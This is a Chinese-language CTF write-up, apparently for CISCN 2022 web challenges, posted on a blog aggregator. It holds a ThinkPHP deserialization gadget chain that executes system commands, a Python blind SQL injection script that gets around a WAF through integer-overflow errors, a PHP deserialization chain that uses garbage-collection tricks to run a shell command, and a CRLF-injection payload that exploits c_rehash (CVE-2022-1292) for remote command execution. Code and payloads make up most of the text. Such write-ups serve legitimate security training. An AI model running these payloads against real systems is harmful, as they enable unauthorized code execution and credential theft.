赞
踩
可以看到版本,那么直接上网找链子打
www.zip 查看路由,是 Index/test,然后 post 传参 a
<?php // 保证命名空间的一致 namespace think { // Model需要是抽象类 abstract class Model { // 需要用到的关键字 private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; // 初始化 public function __construct($obj='') { $this->lazySave = true; $this->data = ['whoami'=>['whoami']]; $this->exists = true; $this->table = $obj; // 触发__toString $this->withAttr = ['whoami'=>['system']]; $this->json = ['whoami']; $this->jsonAssoc = true; } } } namespace think\model { use think\Model; class Pivot extends Model { } // 实例化 $p = new Pivot(new Pivot()); echo urlencode(serialize($p)); }
知识点:mysql8的utf8mb4_bin应用,根据溢出报错盲注,php的GC回收机制
题目给了 waf
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
利用 case when...
代替 if(...)
,利用 like
匹配 username
和 password
,如果匹配到则 9223372036854775807+1
造成溢出,然后就会报错,浏览器会返回500,根据这个就可以进行盲注,最后利用 collate'utf8mb4_bin'
判断大小写。
import requests import string url = "http://1.14.71.254:28126/login.php" list = string.ascii_letters + string.digits + '^$!_%@&' flag = '' for i in range(1,50): for j in list: if (j in '%_'):#为防止 like 把这里的 % 当做正则,所以要转义一下 j = "\\" + j payload = f"0'||case'1'when`password`collate'utf8mb4_bin'like'{flag+j}%'then+9223372036854775807+1+''else'0'end||'" data = { 'username':payload, 'password':123 } r = requests.post(url,data=data) if r.status_code == 500: flag += j print(flag) break #nssctfwabbybaboo!@$%!! #PAssw40d_Y0u3_Never_Konwn!@!!
登录后看到一大串乱码,查看源码可以看到它所用的加密。
保存网页源码后,利用工具解密。
curl http://1.14.71.254:28943/login.php --cookie "PHPSESSID=c49750cf8b201ad00e8156ed3bb3aacf" -o ./example.php
1Nd3x_Y0u_N3v3R_Kn0W.php
<?php session_start(); if(!isset($_SESSION['login'])){ die(); } function Al($classname){ include $classname.".php"; } if(isset($_REQUEST['a'])){ $c = $_REQUEST['a']; $o = unserialize($c); if($o === false) { die("Error Format"); }else{ spl_autoload_register('Al'); $o = unserialize($c); $raw = serialize($o); if(preg_match("/Some/i",$raw)){ throw new Error("Error"); } $o = unserialize($raw); var_dump($o); } }else { echo file_get_contents("SomeClass.php"); }
SomeClass.php 源码
<?php class A { public $a; public $b; public function see() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ //获取类所在文件名字 if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function __toString() { $this->a->see(); return "1"; } } class C { public $a; public $b; public function __toString() { $this->a->read(); return "lock lock read!"; } } class D { public $a; public $b; public function read() { $this->b->learn(); } } class E { public $a; public $b; public function __invoke() { $this->a = $this->b." Powered by PHP"; } public function __destruct(){ //eval($this->a); ??? 吓得我赶紧把后门注释了 //echo "???"; die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } } ?>
链子很好构造
E::__destruct => B::__toString => A::see
但是直接序列化打,是肯定打不通的,为啥呢?
首先在 1Nd3x_Y0u_N3v3R_Kn0W.php
中,是不包含 SomeClass.php
里面的类的,怎么包含呢?
可以利用 spl_autoload_register('Al');
自动加载类,但是在后面有过滤,字符串中补不能有 Some
,也就是说我们要在 if
判断前销毁我们的反序列化对象以此提前调用 __destruct
,也就是常说的 php
的 GC
回收机制。
这边就不详细讲了,想详细了解的移步:https://www.jb51.net/article/242682.htm
简单解释就是,用一个指针指向这个对象,之后在把这个指针指向其他地方,这样这个对象,就没有任何引用和指向,就会销毁,从而调用 __destruct
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
payload:
<?php class A { public $a; public $b; } class B { public $a; public $b; } class E { public $a; public $b; } class SomeClass{ public $a; } $e = new E(); $b = new B(); $a = new A(); $flag = new error(); $flag->a = "system"; $flag->b = "cat /nssctfflag"; $a->b = $flag; $b->a = $a; $e->a = $b; $c = new SomeClass(); $c->a = $e; echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
知识点:CVE-2022-1292,代码审计
/getcrt 路由,生成 crt
证书
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
/proxy 路由,请求头是可以控制的,也就是 CRLF,可以看到利用这个路由可以访问到内网 8887 端口,
@app.route('/proxy', methods=['GET']) def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode()
然后我们再看 go
服务,可以看到 go
跑在 8887
端口上,且在 admin
函数中可以改名字,那么我们是不是可以访问 8887
端口的 /admin/rename
路由,以此调用 admin
函数来改我们的证书的名字。但是在这里面还有几个条件:
/
改为 %2f
func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") { c.String(500, "error") return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return } c.String(200, "no") } ...... func main() { router := gin.Default() router.GET("/", index) router.GET("/admin/rename", admin) if err := router.Run(":8887"); err != nil { panic(err) } }
那么能改证书的名字有什么用呢?这时候就是 /createlink
路由下的 info
函数,调用 c_rehash
获取证书的名字来 RCE
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
# c_rehash 作用是让openssl在证书目录中能够找到证书。
return json.dumps(json_data)
首先:在 /proxy 路由中以 post 传 CRLF 的值。(注意 go 服务中的条件)
因为要post 传参,所以要加一个 Content-Type: application/x-www-form-urlencoded
payload:
/admin%252frename%3Foldname%3Dfd3d9ea7-7dd2-43e3-b6b3-f1fdd39c72ef.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A
然后访问 /createlink
执行命令
最后访问 /static/crt/flag.txt
,获取 flag
https://haoami.github.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/
https://blog.csdn.net/qq_62078839/article/details/125144431
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。